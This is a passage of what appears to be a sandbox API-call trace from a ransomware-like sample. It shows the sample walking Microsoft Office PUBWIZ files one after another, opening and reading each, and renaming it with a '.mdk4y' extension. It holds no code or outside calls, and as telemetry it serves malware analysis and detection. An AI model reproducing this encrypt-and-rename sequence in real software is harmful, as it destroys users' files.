files\\microsoft office\\office14\\pubwiz\\dgpquot.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832050400000) returned 1 [0245.275] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ba0, lpOverlapped=0x0) returned 1 [0245.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832050600000) returned 1 [0245.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832050600000) returned 1 [0245.276] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml.mdk4y")) returned 1 [0245.277] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.277] AreFileApisANSI () returned 1 [0245.277] GetACP () returned 0x4e4 [0245.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGPUNCT.DPV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGPUNCT.DPV", lpUsedDefaultChar=0x37df4c) returned 11 [0245.278] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.279] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832050900000) returned 1 [0245.279] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe00, lpOverlapped=0x0) returned 1 [0245.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832059500000) returned 1 [0245.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832059500000) returned 1 [0245.365] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.dpv.mdk4y")) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.388] AreFileApisANSI () returned 1 [0245.388] GetACP () returned 0x4e4 [0245.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGPUNCT.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGPUNCT.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0245.388] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832061900000) returned 1 [0245.389] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x556, lpOverlapped=0x0) returned 1 [0245.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832070500000) returned 1 [0245.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832070500000) returned 1 [0245.475] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml.mdk4y")) returned 1 [0245.477] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.477] AreFileApisANSI () returned 1 [0245.477] GetACP () returned 0x4e4 [0245.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGREPFRM.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGREPFRM.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0245.477] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832070800000) returned 1 [0245.478] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6e87, lpOverlapped=0x0) returned 1 [0245.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832071000000) returned 1 [0245.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832071000000) returned 1 [0245.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.dpv.mdk4y")) returned 1 [0245.482] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.482] AreFileApisANSI () returned 1 [0245.482] GetACP () returned 0x4e4 [0245.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGREPFRM.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGREPFRM.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0245.482] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832071400000) returned 1 [0245.484] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x75c, lpOverlapped=0x0) returned 1 [0245.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832071600000) returned 1 [0245.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832071600000) returned 1 [0245.486] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml.mdk4y")) returned 1 [0245.487] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.487] AreFileApisANSI () returned 1 [0245.487] GetACP () returned 0x4e4 [0245.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGSIDEBR.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGSIDEBR.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0245.487] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832071900000) returned 1 [0245.489] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xae41, lpOverlapped=0x0) returned 1 [0245.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832073500000) returned 1 [0245.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832073500000) returned 1 [0245.506] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.dpv.mdk4y")) returned 1 [0245.508] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.508] AreFileApisANSI () returned 1 [0245.508] GetACP () returned 0x4e4 [0245.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGSIDEBR.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGSIDEBR.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0245.508] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832073900000) returned 1 [0245.509] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x20ce, lpOverlapped=0x0) returned 1 [0245.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832074700000) returned 1 [0245.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832074700000) returned 1 [0245.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml.mdk4y")) returned 1 [0245.519] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.519] AreFileApisANSI () returned 1 [0245.519] GetACP () returned 0x4e4 [0245.519] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGSIDEBRV.XML", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGSIDEBRV.XML", lpUsedDefaultChar=0x37df4c) returned 13 [0245.520] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832075100000) returned 1 [0245.521] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xde6, lpOverlapped=0x0) returned 1 [0245.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832077800000) returned 1 [0245.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832077800000) returned 1 [0245.549] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml.mdk4y")) returned 1 [0245.551] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.551] AreFileApisANSI () returned 1 [0245.551] GetACP () returned 0x4e4 [0245.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGSTORY.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGSTORY.XMLML", lpUsedDefaultChar=0x37df4c) returned 11 [0245.551] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832078200000) returned 1 [0245.552] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb84, lpOverlapped=0x0) returned 1 [0245.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832085300000) returned 1 [0245.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832085300000) returned 1 [0245.623] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml.mdk4y")) returned 1 [0245.625] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.625] AreFileApisANSI () returned 1 [0245.625] GetACP () returned 0x4e4 [0245.625] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGSTORYVERT.XML", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGSTORYVERT.XMLOC", lpUsedDefaultChar=0x37df4c) returned 15 [0245.625] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832085600000) returned 1 [0245.626] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb84, lpOverlapped=0x0) returned 1 [0245.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832086600000) returned 1 [0245.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832086600000) returned 1 [0245.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml.mdk4y")) returned 1 [0245.639] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.639] AreFileApisANSI () returned 1 [0245.639] GetACP () returned 0x4e4 [0245.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGTEAR.DPV", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGTEAR.DPVT.XML", lpUsedDefaultChar=0x37df4c) returned 10 [0245.639] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTEAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtear.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832087000000) returned 1 [0245.640] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc00, lpOverlapped=0x0) returned 1 [0245.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832088800000) returned 1 [0245.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832088800000) returned 1 [0245.658] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTEAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtear.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTEAR.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtear.dpv.mdk4y")) returned 1 [0245.660] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.660] AreFileApisANSI () returned 1 [0245.660] GetACP () returned 0x4e4 [0245.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGTOC.DPV", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGTOC.DPVV", lpUsedDefaultChar=0x37df4c) returned 9 [0245.660] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832089100000) returned 1 [0245.662] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe50e, lpOverlapped=0x0) returned 1 [0245.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832093600000) returned 1 [0245.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832093600000) returned 1 [0245.713] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.dpv.mdk4y")) returned 1 [0245.715] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.715] AreFileApisANSI () returned 1 [0245.715] GetACP () returned 0x4e4 [0245.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGTOC.XML", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGTOC.XML", lpUsedDefaultChar=0x37df4c) returned 9 [0245.715] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832094800000) returned 1 [0245.718] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1712, lpOverlapped=0x0) returned 1 [0245.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832096000000) returned 1 [0245.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832096000000) returned 1 [0245.730] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml.mdk4y")) returned 1 [0245.732] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.732] AreFileApisANSI () returned 1 [0245.732] GetACP () returned 0x4e4 [0245.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGWEBAD.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGWEBAD.XML.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0245.732] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832096400000) returned 1 [0245.734] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0245.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832096500000) returned 1 [0245.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832096500000) returned 1 [0245.735] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml.mdk4y")) returned 1 [0245.736] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.736] AreFileApisANSI () returned 1 [0245.736] GetACP () returned 0x4e4 [0245.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGWEBBTN.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGWEBBTN.DPVXML", lpUsedDefaultChar=0x37df4c) returned 12 [0245.737] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 